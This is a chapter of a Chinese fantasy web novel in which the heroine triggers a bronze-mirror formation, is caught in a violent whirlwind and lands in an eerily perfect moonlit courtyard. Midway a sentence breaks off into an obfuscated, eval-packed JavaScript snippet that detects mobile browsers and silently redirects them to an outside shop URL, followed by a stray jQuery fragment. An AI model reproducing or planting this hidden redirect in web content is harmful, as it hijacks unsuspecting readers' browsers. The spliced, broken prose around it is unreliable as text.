鹿挽叶翻进去的时候,脚踩到的是湿的。
地面是青砖,但表面沁着一层薄薄的水汽,活像方才有人刚泼过一壶清水。
鞋底碾过去,滚出一阵细微黏腻的沙沙声,好似一脚踩在了半干半湿的青苔上头。
空气中飘着一缕淡淡的甜香,和醉红颜的气味截然不同——更淡,更腻,像是某种名贵花材熬成花油,挥发殆尽后残留在空气里的绵长尾韵。
她站直身体,环顾四周。
这是一间很大的屋子。
比她想象的大得多。
比她见过的任何一间偏殿都要深阔。
屋顶极高,高到视线尽头只剩一片沉沉的昏暗,梁柱的轮廓糊成一团,半点也分辨不清。
正前方立着一道屏风。黑漆底子,上面绘着一片郁郁竹林,每一片竹叶的尖端都点了一点朱砂,宛若血珠凝在叶梢,在暖融融的灯火里泛出猩红的反光。
屏风后面有光透出来,暖黄裹着橘红,像是燃着许多盏灯。那光把竹林的影子投在屏风面上,竹叶簌簌轻晃,如同有风拂过——但屋子里一丝风都没有。
竹影不停摇曳,只能说明屏风后面有人或什么东西在走动。
没有守卫。
没有人声。
安静得骇人。
静到她能清清楚楚听见自己的呼吸撞在墙壁上又弹回来,再撞上另一面墙,再弹回来,一层层削弱,最后化作一缕细若蚊吟的余响。
她立在门口没动。
目光从左扫到右,从地面掠到屋顶。
没有暗道,没有暗门,没有隐藏的符咒。
——至少没有她能一眼看出来的。
叶子从袖中探出脑袋,荧绿色的微光忽明忽暗,颤巍巍地亮着,像一盏快要燃尽的灯在拼力撑住最后一点亮。
她的翅膀微微颤动,声音细得像蚊蚋:
"这地方……好怪。"
"怪在哪?"
鹿挽叶的声音不高,却在空旷的屋子里撞出了回音,仿佛有个人站在极远处,等她话音落下后又轻声复述了一遍她的话,只是声调更轻、距离更远。
叶子缩了缩身子,声音更小了:
"说不上来。像是……有东西在盯着我们,但找不到眼睛。"
鹿挽叶没有回答。
她往前走。
绕过屏风。
屏风后面什么都没有。
她以为会看到一间内室,或一条甬道,或至少有一盏灯。
但什么都没有。
光是从头顶来的。
她仰头望去,天花板上嵌着一面巨大的铜镜。镜面打磨得薄而亮,暖黄的光晕从铜镜后面透出来,透过镜面洒向地面,铺出一大片融融的光雾。
那面铜镜大得骇人,比她见过的任何一面铜镜都要大,像一扇被硬生生嵌进屋顶的窗户。
镜面上浮动着斑驳光影,但她站的角度不对,瞧不清映照出的是什么,只能看见一片暖黄的光沿着镜缘轻轻晃荡。
鹿挽叶的目光落在铜镜的边框上。
框身刻满细密的纹路,一圈一圈缠绕着,像古老的藤蔓在金属表面攀爬。纹路极深,线条并非扁平一片,而是高低起伏,像是刻成之后又被人反复描过、润过、加深过。
那些纹路她很熟悉——
和木牌上那道妖族封印纹路如出一辙。
同样的弧度转折,同样的收束方式,就连纹路间距都分毫不差,分明出自同一只手。
"阵法。"
她说。
话音落下的瞬间,萦绕整间屋子的回音骤然消失。
不是逐渐减弱,是戛然而止,像有人抽走了所有空旷的气息,换成了另一种更密实、更沉、更压人的东西。
话音未落,头顶铜镜轰地一下猛地爆亮。
不是慢慢亮起,是"啪"的一声——
像紧绷的琴弦骤然崩断,像尘封的重锁一朝弹开。
刺目的白光从镜面炸开,从大殿正中央的头顶迸发,宛若一轮烈阳在房梁之上爆裂。
那光照下来的时候没有半分暖意,是刺骨寒凉,如同有人兜头泼了一盆冰水,只不过那冰水化作了光。
白光落在皮肤上,不是热,是无数根极细的银针齐齐扎进脸颊、手背、脖颈。扎进去之后不拔出来,顺着血管往骨头深处钻,直钻得指节阵阵发麻。
然后风来了。
一股自地面往上翻卷的风,像地板之下裂开了一张巨口,用力地吸气。
她的裙摆被猛地往上掀,布料抽在小腿上,火辣辣地留下一道红痕。
又有风从四面墙壁向内挤压,像四面的墙同时往中间收拢,要把她碾在屋子中央。
后背被一股无形巨力向前推搡,胸口又被另一股力向后顶压,两股力量在胸腔里猛烈冲撞,压得她几乎喘不上气。
头顶更有沉沉风压落下,像那面铜镜在白光亮起后化作一块千斤铁板,一寸一寸地降落,要将她压进地面。
肩膀往下沉,颈骨发出细微不堪重负的咯吱声响。
三股狂风同时撞在身上,三堵看不见的风墙从三个方向齐齐合拢。
衣袍猎猎作响,布料绷到极致,袖口的缝线嗤地崩开一截,细线断裂的声响像琴弦被拨了一下。
满头青丝从背后翻卷到身前,散乱糊在脸上,一遍遍抽打脸颊,拉出一道细长泛红的印子,火辣辣的,像被细鞭抽过。
她死死眯起双眼,透过纷乱发丝望向头顶铜镜——
白光还在源源不断翻涌,像一口被捅破的深井,内里的东西正疯了一般往外倾泻。
脚下青砖传来细密的崩裂声。
裂纹从脚尖飞速蔓延,如同蛛网在地面上疯爬,每一条裂缝都在不断拓宽,地底深处像有什么庞然大物在向上顶撑,非要把这层地面彻底掀碎。
脚下的地面软软塌陷下去,像踩在一层正在消融的薄冰上,表层还能承重,底下却早已暗流涌动。
她没来得及拔刀。
她甚至没来得及完全站稳。
脚下的青砖哗啦碎成粉末,地面猛地往下陷了一寸,脚踝被一股巨力狠狠向下拖拽,她猝不及防地单膝跪了下去。
膝盖重重磕在碎裂的砖面上,一阵钝痛顺着膝盖骨直冲上来,像有人从地底抡起铁锤敲了一记。
她闷哼一声,牙关咬紧,硬是把痛呼咽了回去。
可风还在持续。
托住她身形的早已不是平整的地面,而是一团纷乱狂暴的乱流,无数道风臂从地下伸出来,死死攥住她的腿,一会儿往上托举,一会儿往侧边猛甩。
她从跪地的姿态被猛地掀飞起来,整个人像一片卷入漩涡的落叶,身不由己地被推着、拉着、拽着旋转。
她的身体在风里转了半圈,肩膀重重撞上一处硬物,分不清是柱子还是墙壁,肩胛骨传来一阵钝痛,她咬住下唇,没有出声。
风里夹着细碎尖锐的沙砾——
铜镜边框剥落下来的暗金色碎屑,在漩涡里飞速旋转,像无数把极小的刀片。
那些碎屑刮过脸颊、手背、脖颈,一刀刀细细割裂皮肉。
她抬手挡了一下,手背被划开一道细长的口子,血渗出来,转瞬被风卷走,连痛感都被削去大半,只剩一种冻僵之后迟缓蔓延的钝麻。
她拼尽全力稳住身体。
绝不能倒下去。
一旦瘫软在地,就会被风卷入涡流深处,像一块抛入急流的石头,再也掌控不住自己。
她的身体在旋涡里转了第二圈、第三圈,她已数不清转了多少回,只趁着每一圈旋转的间隙拼命下沉重心,双膝半蹲,脚掌死死扣住摇摇欲坠的地面,不管那地面已碎成什么模样。
第四次旋身的刹那,她的指尖触到了刀柄。
右手一探,指尖擦过粗糙的缠绳,潮乎乎湿漉漉的,分不清是汗还是别的什么。
五指骤然收紧,牢牢攥住了刀柄。
刀没有出鞘,但握住刀柄的那一瞬间,飘摇的身子总算抓住了一处支撑——
像一个人在激流里漂流了许久,忽然攥住了一根深深扎在河床里的木桩。
她没有拔刀,只是死死握紧刀柄,将全身重量朝着它压过去,像抱住一根定海神柱一样稳住自己。
白光越来越炽盛,亮得她不得不闭上眼睛。
就算眼皮紧闭,那光依旧穿透过来刺进眼球,在眼睑内侧烙下一片烧灼般的残影,久久不散。
即便闭着眼,她也能感觉到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950785|214164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
铜镜的光芒还在暴涨,像一盏油灯不停添油,火苗越窜越高,早已超出了极限。
耳边的风声渐渐被白光吞没,但那风声里夹着别的东西——
一种低沉的、持续的轰隆震响,像一尊无比沉重的庞然大物,正从万里之外缓缓向这边移动。
脚下的地面隆隆震动,震颤顺着粉末地砖传上来,穿过鞋底脚掌,一路传到膝盖。
膝盖疼得钻心,但她依旧站着。
周遭的实物正在慢慢消融。
屋顶、墙壁、地面,尽数被白光吞噬。
脚下的支撑越来越薄,像烈日之下的冰层,表面看着还算硬实,底下早已化作流水。
她猛地往下坠了一瞬——
极短的一瞬,短到胃里还来不及泛起眩晕。
但就在那一瞬间,她真切地体会到了失重。
脚尖离开了地面,风托住了她,她轻飘飘地悬在半空。
然后她的脚掌忽然落在一片坚硬冰凉的东西上。
很硬,冰凉刺骨,像一块深埋地下千百年的老石板,表面光滑,质地密实,和方才一踩就碎的青砖截然不同。
脚掌落上去的时候发出"嗒"的一声轻响,像石子叩在瓷面上。
肆虐的狂风在那一瞬间骤然停了。
不是逐渐减弱,是"唰"的一下,所有方向的风同时消失,像有人一并掐灭了所有风口。
她重心一空,身体猛地往前踉跄半步,膝盖微弯才勉强稳住。
眼前的白光一点一点地褪去。
像退潮的江水,自边缘向中心收拢,最后凝成一道极细的亮线,在屋顶闪了一下,彻底灭了。
铜镜恢复了原本的模样——嵌在天花板里,边框上的纹路重新隐入暗处,不再发光。
但铜镜已经不在原来那间屋子的天花板上了。
鹿挽叶慢慢睁开眼睛。
她不在那间屋子里了。
这是一个庭院。
月色清辉洒满青石地面,白皑皑的像落了一层薄霜。
庭院中央有一棵很大的榕树,枝条垂落,挂着十几盏纸灯笼,暖黄的灯火在地上投出一圈一圈晃动光晕。
树下摆着几张矮几,上面放着茶、果碟、糕点,几个穿着浅色衣裙的女子坐在那里低声说笑。
一个挽着堕马髻的女子拈起一块桂花糕,还没送到嘴边,先笑了:"……可不是嘛,她那日簪的那支步摇,说是碧玺,可我瞧着分明是琉璃,水头都不对的。"
"你呀,眼睛太毒了。"对面的女子抿了一口茶,眼角弯弯的,"她就那么一支像样的,你非要点破,下回见了面,仔细她拿眼刀剜你。"
鹿挽叶站在那里,隔着几步的距离,没有往前走。
她在听。
那些笑声太对了。
对到每一个气口的停顿、每一声尾音的上扬,都刚刚好,像被谁拿着尺子量过一样准确。
准确到不像真的。
但她说不出哪里不对。就像叶子说的,"有东西在盯着我们,但找不到眼睛"。
眼前这群女子,她们的眼波流转、手指的起落、肩头的微微倾斜,全部都是对的。全部。
实在太对了。
那个托腮的姑娘忽然抬起眼来,隔着榕树垂落的枝条,隔着暖黄的灯光,隔着几步远的风和夜凉,朝她看了一眼。
那一眼很短,短到鹿挽叶不确定自己有没有真正对上她的目光。但那个姑娘的唇角动了动,像是想说什么,又像只是抿了一下唇。
然后她低下头去,继续转她的杯沿,好像什么都没有发生过。
众人又笑起来。
笑声明明很近,鹿挽叶却觉得那些声音正在一点一点地往远处退,像水面上漂着的灯笼,看着还在眼前,其实已经被水推着离开了岸。
一切都很安静,很平和,很温暖——
像一场被精心布置过的梦境。
鹿挽叶低头看了一眼自己。
手背上的伤口还在,边缘泛白,中间凝着细密的血珠。
膝盖处的布料磨破了一块,底下皮肉泛红发烫。
呼吸还没有完全平复,胸口微微起伏,喉咙里那股铁锈味还未散尽。
那些都是真的。